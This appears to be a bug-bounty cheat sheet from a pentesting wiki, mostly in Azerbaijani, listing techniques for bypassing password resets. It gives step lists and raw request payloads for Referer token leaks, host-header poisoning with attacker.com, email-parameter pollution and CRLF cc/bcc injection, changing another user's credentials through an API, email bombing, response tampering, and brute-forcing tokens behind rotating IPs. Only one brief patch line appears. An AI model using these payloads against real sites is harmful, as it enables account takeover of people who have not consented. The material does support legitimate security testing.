Reset/Forgotten Password Bypass

Password Reset Token Leak Via Referrer

HTTP refereri, tələb olunan resursla əlaqələndirilmiş veb-səhifənin ünvanını müəyyən edən istəyə bağlı HTTP başlıq sahəsidir. İstinad sorğusu başlığı, hazırda tələb olunan səhifəyə keçidin izləndiyi əvvəlki veb səhifənin ünvanını ehtiva edir.

Exploitation

  • E-poçt ünvanınıza parol sıfırlamasını tələb edin

  • Parol sıfırlama linkinə klikləyin

  • Parolu dəyişməyin

  • İstənilən 3-cü tərəf saytlarına klikləyin (məsələn: Facebook, twitter)

  • Burpsuite proxy-də sorğuya müdaxilə edin

  • İstinad başlığının parol sıfırlama tokenini sızdığını yoxlayın.

Təsir

Müəyyən bir sayta nəzarət edən şəxsə istifadəçinin parolunu (CSRF hücumu) dəyişdirməyə imkan verir, çünki bu şəxs istifadəçinin parol sıfırlamasını bilir.

Password Reset Poisoning

Əgər host başlığı hücumu tapsanız və bu, əhatə dairəsindən kənardırsa, parol sıfırlama düyməsini tapmağa çalışın!

Exploitation

  • Burpsuite-də parol sıfırlama sorğusuna müdaxilə edin

  • Aşağıdakı başlığı əlavə edin və ya burpsuite başlığını redaktə edin (bir-bir cəhd edin)

Host: attacker.com
 Host: target.com
 X-Forwarded-Host: attacker.com
 Host: target.com
 Host: attacker.com

E-poçtun içindəki parolu dəyişdirmək üçün linkin attacker.com-a işarə edib-etmədiyini yoxlayın.

Patch

$_SERVER['HTTP_HOST'] əvəzinə $_SERVER['SERVER_NAME'] istifadə edin.

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

Təsvir

Qurban öz e-poçtunda zərərli linki alacaq və kliklədikdə istifadəçinin parol sıfırlama linkini/tokenini təcavüzkara sızdıracaq və hesabın tam ələ keçirilməsinə səbəb olacaq.

Password Reset With Manipualating Email Parameter

Exploitation

  • Təcavüzkar e-poçtunu & istifadə edərək ikinci parametr kimi əlavə edin.

POST /resetPassword
[...]
[email protected]&[email protected]

%20 istifadə edərək ikinci parametr kimi təcavüzkar e-poçtunu əlavə edin.

POST /resetPassword
[...]
[email protected]%[email protected]

| istifadə edərək ikinci parametr kimi təcavüzkarın e-poçtunu əlavə edin.

POST /resetPassword
[...]
[email protected]|[email protected]

cc istifadə edərək ikinci parametr kimi təcavüzkar e-poçtunu əlavə edin.

POST /resetPassword
[...]
email="[email protected]%0a%0dcc:[email protected]"

Bcc istifadə edərək ikinci parametr kimi təcavüzkarın e-poçtunu əlavə edin.

POST /resetPassword
[...]
email="[email protected]%0a%0dbcc:[email protected]"

Təcavüzkar e-poçtunu istifadə edərək ikinci parametr kimi əlavə edin.

POST /resetPassword
[...]
email="[email protected]",email="[email protected]"

Json massivində ikinci parametr kimi təcavüzkar e-poçtunu əlavə edin.

POST /resetPassword
[...]
{"email":["[email protected]","[email protected]"]}

API Parametrləri vasitəsilə istənilən İstifadəçinin E-poçt və Şifrəsinin Dəyişdirilməsi

Exploitation

  • Təcavüzkar öz hesabı ilə daxil olmalı və Şifrəni dəyişdir funksiyasına keçməlidir

  • Burp Suite-i işə salın və sorğunu tutun

  • Sorğunu tutduqdan sonra onu repeater-ə göndərdi və E-poçt və Parol parametrlərini dəyişdirin

POST /api/changepass
[...]
("form": {"email":"[email protected]","password":"12345678"})

No Rate Limiting: Email Bombing

Exploitation

  • Burp Suite proqramını işə salın və parol sıfırlama sorğusuna müdaxilə edin

  • İntruder-ə göndərin

  • Null payload istifadə edin

Response manipulyasiyası: Bad Response-i good ilə əvəz etmək

Aşağıdakı kimi Sorğu və Cavab axtarın.

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Response dəyişdirin.

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Expired Tokendən istifadə

  • Müddəti bitmiş tokenin təkrar istifadə oluna biləcəyini yoxlayın.

Brute Force Password Rest token

Burpsuite istifadə edərək sıfırlama tokenini bruteforce etməyə çalışın.

POST /resetPassword
[...]
[email protected]&code=$BRUTE$

IP əsaslı tarif limitini keçmək üçün burpsuite-də IP-Rotator istifadə edin.

Tokeninizdən istifadə etməyə çalışın

  • Şifrə sıfırlama tokeninizi qurbanın Hesabına əlavə etməyə çalışın.

POST /resetPassword
[...]
[email protected]&code=$YOUR_TOKEN$

Last updated

Was this helpful?